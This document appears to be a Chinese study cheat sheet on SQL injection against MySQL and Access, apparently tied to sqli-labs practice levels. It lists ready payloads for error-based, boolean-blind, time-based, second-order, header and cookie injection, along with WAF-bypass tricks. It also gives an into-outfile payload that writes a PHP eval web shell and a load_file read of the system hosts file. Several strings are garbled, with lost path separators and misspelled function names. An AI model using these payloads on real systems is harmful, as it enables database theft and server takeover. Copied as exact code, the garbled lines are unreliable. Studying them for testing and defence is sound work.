sql注入
Mysql
注释
mysql 数据库的注释大概有以下几种。
#
-- (杠杠空格)
/* ..... */
/*! .... */ 内联查询
mysql 元数据库数据库 information_schema
schemata表单中schema_name字段 存放所有数据库名
- tables表,存放所有表名
- table_name字段, 存放着所有的表名
- table_schema 字段,存放着所有表名对应的数据库的名字
- columns表,存放着所有的字段内容
- table_schema字段,存放着所有字段名对应的数据库名
- table_name字段,存放着所有字段名对应的表名
- column_name 字段,存放着所有字段名
常见函数
- =|>|>=|<=|<|<> 比较运算符
- and|or and优先级比or高 逻辑运算符
- version() mysql 数据库版本
- database() 当前数据库名
- user() 用户名
- current_user() 当前用户名
- system_user() 系统用户名
- @@datadir 数据库路径
- @@version_compile_os; 操作系统版本
- length(xxx) 返回字符串的长度
- substring(string,position) 截取字符串
- substr(string,position)
- mid(string,position)
1.截取的字符串2. 截取起始位置,从1开始计数 3. 截取长度 - left(string,position) 从左侧开始取指定字符个数的字符串
- concat(X,X,X,X,X) 没有分隔符的连接字符串
- concat_ws(’-’,X,X,X,X) 有分割符的连接字符串
- group_concat() 连接一个组的字符串
- ord() 返回ASCII 码
- ascii()
- hex() 将字符串转换为十六进制
- unhex() hex 的反向操作
- md5() 返回MD5 值
- floor(x) 返回不大于x 的最大整数
- round() 返回参数x 接近的整数
- rand() 返回0-1 之间的随机浮点数
- load_file() 读取文件,并返回文件内容作为一个字符串
- sleep() 睡眠时间为指定的秒数
- if(true,t,f) if 判断
- find_in_set() 返回字符串在字符串列表中的位置
- benchmark() 指定语句执行的次数
- name_const() 返回表作为结果
SQL注入
原理:
在与用户交互的程序中,用户的输入拼接到SQL语句中,执行了与原定计划不同的行为,从而产生了SQL注入漏洞。
注入点判断
-
?id=33 -1/=1 查看页面是否有变化。
-
添加’ 发现报错 select * from tb-a where id=33’ —数字型输入
select * from tb-a where id=‘33’’ limit 0,1; —字符型注入 -
and 1=1 页面正常
and 1=2 页面无回显 -
sleep(5) 如果延时5秒 --有
如果没 --没有
注入手法
报错注入
group by重复键冲突
select count(*),concat((select version()),floor(rand()*2))x from information_schema.tables group by x;
不使用rand(),count()等函数和具体的表
select min(@a:=1) from (select 1 union select null union select 0)a group by concat('--',@@version,'--',@a:=(@a+1)%2);
left函数
select concat(left(rand(),3),'---',(select version()))x,count(*) from information_schema.schemata group by x;
select concat(left(rand(),3),'---',(select version()))x,count(*) from (select 1 union select null union select 0)a group by x;
Xpath报错
- extractalue()
[id=33 and extractvalue(1,concat('^',(select version()),'^')) --+]
- updatexml()
[id=33 and updatexml(1,concat('^',(select database()),'^'),1) --+]
其他类似函数报错
- GeometryCollection(),polygon(),multipoint(),mulyilinestring(),multipolygon(),linestring(),exp()等
id=1 and polygon((select * from (select * from (select user())a)b))
布尔盲注
原理
利用页面返回的布尔类型状态,正常或者不正常。
获取数据库名
数据库名长度
[id=33 and length(database())=1 --+]
[id=33 and length(database())=3 --+]
可以断定,当前数据库名的长度为3。
数据库名
[id=33 and ascii(substr(database(),1,1))=99 --+]
由此可知数据库名的第一个字母的ascii 码为99,即是字母c。
延时注入
原理
利用sleep() 语句的延时性,以时间线作为判断条件。
获取数据库名
获取数据库名长度
[id=33 and if((length(database())=3),sleep(5),1)--+]
数据库名第二位
[id=33 and if((ascii(substr(database(),2,1))=109),sleep(5),1)--+]
二次注入
第一步:插入恶意数据
进行数据库插入数据时,对其中的特殊字符进行了转义处理,在写入数据库的时候又保留了原来的数据。
第二步:引用恶意数据
开发者默认存入数据库的数据都是安全的,在进行查询时,直接从数据库中取出恶意数据,没有进行进一步的检验的处理。
access偏移注入
借用数据库的自连接查询让数据库内部发生乱序,从而偏移出所需要的字段在我们的页面上显示!
运气很重要,不能保证100%成功。
场景:解决知道Access数据库中知道表名,但是得不到字段的sql注入困境
1、判断字段数 order by
2、 判断表名 使用 union select * from 表名来获取
3、 开始偏移注入 利用注入公式来注入
偏移注入的基本公式为:
*号字段数乘2减order by 字段数
2*11-18=4
例:
test.asp?id=688 union select 1,2,3,4,a.id,b.id,* from (sys_admin as a inner join sys_admin as b on a.id = b.id)
文件读写
secure-file-priv 参数配置
secure-file-priv=
不对mysqld的导入导出操作做限制
secure-file-priv='ca'
限制mysqld 的导入导出操作发生在ca 下(子目录有效)
secure-file-priv=null
限制mysqld 不允许导入导出操作
当前用户具有文件权限
查询语句[select File_priv from mysql.user where user=root and host=localhost]。
知道要写入目标文件的绝对路径
读取文件操作
[id=-1' union select 1, load_file('CWindowsSystem32driversetchosts'), 3 --+ ]
写入文件操作
[id=-1' union select 1,'php @eval($_REQUEST[777]);',3 into outfile 'cphpstudywww2.php'--+]`
base64 注入
sql-labs 24 cookie base64:
document.cookie=uname=Dumb and extractvalue(1,concat(0x7e,database(),0x7e))#
在控制台输入 (或burpsuite)
document.cookie=uname=RHVtYiIgYW5kIGV4dHJhY3R2YWx1ZSgxLGNvbmNhdCgweDdlLGRhdGFiYXNlKCksMHg3ZSkpIw==
刷新网页即可。
HTTP 头部注入
http 头部注入就是指注入字段在HTTP 头部的字段中,这些字段通常有User-Agent、Referer 等。
User-Agent 注入
sql-labs 18
User-Agenthacker' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1
Referer 注入
sql-labs 19
hacker' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1
常见绕waf手法
大小写 ,双写,编码绕过,内敛注释
/!*and *//*!select*/ * from admin
绕过and or 注入:and -- && ,or -- ||,
/*!*/ /**/
an/**/d oorr
绕过注释符:and ‘1’=‘1
绕过空格:编码:hex,urlencode %0w=a %09(tab键)
?id=1' %0a||'1
%0a 新建一行,%0c新的一页,%0d return功能,%0b(tab键)
宽字节注入:大于128,GBK(0x81--0xff)除 0x7f
?id=1%bf' --+
sqli-labs
联合注入:(sqli-labs)
order by num:判断字段数
暴库
表名
字段
报错
group by
暴库
其他方法:限制使用count(),rand()函数和一些具体的表:
id=33 and (select 1 from (select count(*),concat((select version()),floor(rand()*2))x from information_schema.tables group by x)a) --+
id=33 and (select 1 from (select min(@a:=1),concat('--',@@version,'--',@a:=(@a/+2)%2)x from (select 1 union select null union select 0)a group by x)a)--+
id=1’ and (select 1 from (select min(@a:=1) from (select 1 union select null union select 0)a group by concat('--',version(),'--',@a:=(@a/+2)%2))a)--+
Xpath:
暴库:extrcatvalue只能显示32位,可用mid()显示后几位;
BIGINT
and (!(select * from (select group_concat(username,'--',password) from users)x))-~0--+
exp()
and exp(~(select * from (select version())x))--+
boolean盲注:
select length(databse());
ascii(substr(database(),1,1)) > = <N;
基于时间:
文件读写
二次注入:
sql-lab 24
注册
修改密码
实际修改admin密码